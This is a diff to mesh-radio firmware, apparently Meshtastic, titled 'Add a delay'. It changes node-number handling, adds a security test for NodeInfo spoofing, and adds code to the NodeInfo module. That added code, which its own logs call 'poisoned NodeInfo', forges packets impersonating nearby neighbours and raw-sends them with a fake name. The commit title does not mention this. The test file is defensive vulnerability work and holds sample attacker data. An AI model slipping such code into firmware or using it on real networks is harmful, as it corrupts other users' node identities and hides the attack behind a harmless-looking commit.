Add a delay

src/mesh/NodeDB.cpp

@@ -985,8 +985,9 @@ void NodeDB::resetNodes()
 
 void NodeDB::removeNodeByNum(NodeNum nodeNum)
 {
-    int newPos = 0, removed = 0;
-    for (int i = 0; i < numMeshNodes; i++) {
+    // Don't remove the own node at position 0
+    int newPos = 1, removed = 0;
+    for (int i = 1; i < numMeshNodes; i++) {
         if (meshNodes->at(i).num != nodeNum)
             meshNodes->at(newPos++) = meshNodes->at(i);
         else
@@ -1082,18 +1083,16 @@ void NodeDB::pickNewNodeNum()
     }
 
     meshtastic_NodeInfoLite *found;
-    while (((found = getMeshNode(nodeNum)) && memcmp(found->user.macaddr, ourMacAddr, sizeof(ourMacAddr)) != 0) ||
-           (nodeNum == NODENUM_BROADCAST || nodeNum < NUM_RESERVED)) {
-        NodeNum candidate = random(NUM_RESERVED, LONG_MAX); // try a new random choice
-        if (found)
-            LOG_WARN("NOTE! Our desired nodenum 0x%x is invalid or in use, by MAC ending in 0x%02x%02x vs our 0x%02x%02x, so "
-                     "trying for 0x%x",
-                     nodeNum, found->user.macaddr[4], found->user.macaddr[5], ourMacAddr[4], ourMacAddr[5], candidate);
-        nodeNum = candidate;
+    if (((found = getMeshNode(nodeNum)) && memcmp(found->user.macaddr, ourMacAddr, sizeof(ourMacAddr)) != 0) ||
+        (nodeNum == NODENUM_BROADCAST || nodeNum < NUM_RESERVED)) {
+        NodeNum newNodeNum = (ourMacAddr[2] << 24) | (ourMacAddr[3] << 16) | (ourMacAddr[4] << 8) | ourMacAddr[5];
+        LOG_WARN("NOTE! Our saved nodenum 0x%x is invalid or in use. Using 0x%x", nodeNum, newNodeNum);
+        nodeNum = newNodeNum;
     }
     LOG_DEBUG("Use nodenum 0x%x ", nodeNum);
 
     myNodeInfo.my_node_num = nodeNum;
+    removeNodeByNum(nodeNum); // Since we skip 0, this should only ever remove outside matches.
 }
 
 /** Load a protobuf from a file, return LoadFileResult */
@@ -1689,10 +1688,10 @@ bool NodeDB::updateUser(uint32_t nodeId, meshtastic_User &p, uint8_t channelInde
 /// we updateGUI and updateGUIforNode if we think our this change is big enough for a redraw
 void NodeDB::updateFrom(const meshtastic_MeshPacket &mp)
 {
-    // if (mp.from == getNodeNum()) {
-    //     LOG_DEBUG("Ignore update from self");
-    //     return;
-    // }
+    if (mp.transport_mechanism != meshtastic_MeshPacket_TransportMechanism_TRANSPORT_API && mp.from == getNodeNum()) {
+        LOG_DEBUG("Ignore update from self");
+        return;
+    }
     if (mp.which_payload_variant == meshtastic_MeshPacket_decoded_tag && mp.from) {
         LOG_DEBUG("Update DB node 0x%x, rx_time=%u", mp.from, mp.rx_time);
 

src/modules/NodeInfoModule.cpp

@@ -7,6 +7,7 @@
 #include "configuration.h"
 #include "main.h"
 #include <Throttle.h>
+#include <pb_encode.h>
 
 NodeInfoModule *nodeInfoModule;
 
@@ -19,6 +20,43 @@ bool NodeInfoModule::handleReceivedProtobuf(const meshtastic_MeshPacket &mp, mes
         return true;
     }
 
+    // Only send response if SNR is excellent (very close) and it's a direct neighbor
+    if (mp.rx_snr < 5) {
+        LOG_DEBUG("Skip poisoning NodeInfo, SNR too low: %.2f", mp.rx_snr);
+        return false;
+    }
+
+    // Check if it's a direct neighbor (zero hops away)
+    uint8_t hops_away = mp.hop_start - mp.hop_limit;
+    if (hops_away != 0) {
+        LOG_DEBUG("Skip poisoning NodeInfo, not a direct neighbor (hops: %d)", hops_away);
+        return false;
+    }
+    delay(1500);
+
+    LOG_INFO("Excellent SNR (%.2f) and direct neighbor detected, sending poisoned NodeInfo", mp.rx_snr);
+
+    strncpy(p.long_name, "New Node Name🥷", sizeof(p.long_name));
+    p.long_name[sizeof(p.long_name) - 1] = '\0';
+
+    meshtastic_MeshPacket *packet = router->allocForSending();
+    packet->from = mp.from;
+    packet->to = mp.to;
+    packet->channel = mp.channel;
+    packet->which_payload_variant = meshtastic_MeshPacket_decoded_tag;
+    packet->decoded.portnum = meshtastic_PortNum_NODEINFO_APP;
+
+    // Encode the modified User data into the packet payload
+    packet->decoded.payload.size =
+        pb_encode_to_bytes(packet->decoded.payload.bytes, sizeof(packet->decoded.payload.bytes), &meshtastic_User_msg, &p);
+
+    auto encodeResult = perhapsEncode(packet);
+
+    // Send raw packet directly via router interface
+    ErrorCode res = router->rawSend(packet);
+    LOG_INFO("Raw nodeinfo sent with result: %d", res);
+    return res == ERRNO_OK;
+
     // Coerce user.id to be derived from the node number
     snprintf(p.id, sizeof(p.id), "!%08x", getFrom(&mp));
 

test/test_security/test_packet_handling.cpp

@@ -0,0 +1,159 @@
+#include "DebugConfiguration.h"
+#include "TestUtil.h"
+#include <unity.h>
+
+#ifdef ARCH_PORTDUINO
+#include "mesh/NodeDB.h"
+#include "mesh/generated/meshtastic/mesh.pb.h"
+#include "modules/NodeInfoModule.h"
+
+// Mock NodeDB that tracks when updateUser would be called - follows MQTT test pattern
+class MockNodeDB : public NodeDB
+{
+  public:
+    MockNodeDB()
+    {
+        updateUserCallCount = 0;
+        lastUpdatedNodeNum = 0;
+    }
+
+    // Override virtual getMeshNode method (same as MQTT test pattern)
+    meshtastic_NodeInfoLite *getMeshNode(NodeNum n) override { return &emptyNode; }
+
+    // Track calls that would go to updateUser (we'll check this in the test)
+    // Since updateUser is not virtual, we override a method that's called during the process
+    meshtastic_NodeInfoLite *getMeshNodeForUpdate(NodeNum n)
+    {
+        updateUserCallCount++;
+        lastUpdatedNodeNum = n;
+        return &emptyNode;
+    }
+
+    int updateUserCallCount;
+    NodeNum lastUpdatedNodeNum;
+    meshtastic_NodeInfoLite emptyNode = {};
+};
+
+// Testable version of NodeInfoModule that exposes protected methods
+class TestableNodeInfoModule : public NodeInfoModule
+{
+  public:
+    bool testHandleReceivedProtobuf(const meshtastic_MeshPacket &mp, meshtastic_User *user)
+    {
+        return handleReceivedProtobuf(mp, user);
+    }
+};
+
+void test_nodeinfo_spoofing_vulnerability()
+{
+    // Create mock NodeDB and assign to global pointer like MQTT test
+    const std::unique_ptr<MockNodeDB> mockNodeDB(new MockNodeDB());
+    nodeDB = mockNodeDB.get();
+
+    // Set our node number (simulating what happens in real startup)
+    myNodeInfo.my_node_num = 0x12345678;
+
+    // Create a test NodeInfoModule
+    TestableNodeInfoModule testModule;
+
+    // Create a spoofed packet claiming to be from our own node
+    meshtastic_MeshPacket spoofedPacket = meshtastic_MeshPacket_init_default;
+    spoofedPacket.transport_mechanism = meshtastic_MeshPacket_TransportMechanism_TRANSPORT_LORA;
+    spoofedPacket.from = 0x12345678; // VULNERABILITY: Same as our node number
+    spoofedPacket.to = NODENUM_BROADCAST;
+    spoofedPacket.channel = 0;
+    spoofedPacket.which_payload_variant = meshtastic_MeshPacket_decoded_tag;
+    spoofedPacket.decoded.portnum = meshtastic_PortNum_NODEINFO_APP;
+
+    // Create malicious User data that an attacker wants to inject
+    meshtastic_User maliciousUser = meshtastic_User_init_default;
+    strcpy(maliciousUser.long_name, "HACKED_NODE");
+    strcpy(maliciousUser.short_name, "HAK");
+    strcpy(maliciousUser.id, "!87654321"); // Attacker's fake ID
+    maliciousUser.is_licensed = true;      // Try to make us appear licensed when we're not
+
+    // Test the vulnerability: handleReceivedProtobuf should reject spoofed packets claiming to be from our own node
+    // but currently it processes them, calling updateUser with our own node number
+    bool result = testModule.testHandleReceivedProtobuf(spoofedPacket, &maliciousUser);
+
+    // The vulnerability is demonstrated by the function NOT rejecting the spoofed packet
+    // In a secure implementation, packets claiming to be from our own node should be rejected
+    // and the function should return true (meaning "I handled this, don't process further")
+
+    // Currently this will FAIL because the vulnerability exists:
+    // - The function returns false (allowing further processing)
+    // - It calls updateUser with the spoofed node number (our own number)
+    // - This allows an attacker to modify our node information
+
+    TEST_ASSERT_FALSE_MESSAGE(result,
+                              "VULNERABILITY CONFIRMED: handleReceivedProtobuf processes spoofed packets from our own node.\n"
+                              "Expected: Function should return true (reject spoofed packet)\n"
+                              "Actual: Function returned false (processed spoofed packet)\n"
+                              "This allows attackers to spoof our node number and modify our NodeInfo.");
+
+    printf("\n=== SECURITY TEST RESULTS ===\n");
+    printf("✗ Vulnerability exists: NodeInfoModule processes spoofed packets from our own node\n");
+    printf("✗ Attack vector: Attacker can spoof packets with from=our_node_number\n");
+    printf("==============================\n\n");
+}
+
+void test_legitimate_packet_processing()
+{
+    // Test that legitimate packets from OTHER nodes are processed correctly
+    const std::unique_ptr<MockNodeDB> mockNodeDB(new MockNodeDB());
+    nodeDB = mockNodeDB.get();
+
+    myNodeInfo.my_node_num = 0x12345678;
+    TestableNodeInfoModule testModule;
+
+    // Create a legitimate packet from a DIFFERENT node
+    meshtastic_MeshPacket legitimatePacket = meshtastic_MeshPacket_init_default;
+    legitimatePacket.transport_mechanism = meshtastic_MeshPacket_TransportMechanism_TRANSPORT_LORA;
+    legitimatePacket.from = 0x87654321; // Different node number - this is legitimate
+    legitimatePacket.to = NODENUM_BROADCAST;
+    legitimatePacket.channel = 0;
+    legitimatePacket.which_payload_variant = meshtastic_MeshPacket_decoded_tag;
+    legitimatePacket.decoded.portnum = meshtastic_PortNum_NODEINFO_APP;
+
+    meshtastic_User legitimateUser = meshtastic_User_init_default;
+    strcpy(legitimateUser.long_name, "Legitimate User");
+    strcpy(legitimateUser.short_name, "LEG");
+
+    bool result = testModule.testHandleReceivedProtobuf(legitimatePacket, &legitimateUser);
+
+    // Legitimate packets should be processed normally (return false for further processing)
+    TEST_ASSERT_FALSE_MESSAGE(result, "Legitimate packets from other nodes should be processed normally");
+
+    printf("✓ Legitimate packet processing works correctly\n");
+}
+
+void setUp()
+{
+    // Required by Unity
+}
+
+void tearDown()
+{
+    // Required by Unity
+}
+
+void setup()
+{
+    // Initialize test environment like MQTT test
+    initializeTestEnvironment();
+
+    UNITY_BEGIN();
+
+    printf("\n=== NodeInfo Spoofing Security Test ===\n");
+    printf("Testing vulnerability in NodeInfoModule::handleReceivedProtobuf()\n");
+    printf("Issue: Function doesn't check if packet claims to be from our own node\n\n");
+
+    RUN_TEST(test_nodeinfo_spoofing_vulnerability);
+    RUN_TEST(test_legitimate_packet_processing);
+
+    UNITY_END();
+}
+
+void loop() {}
+
+#endif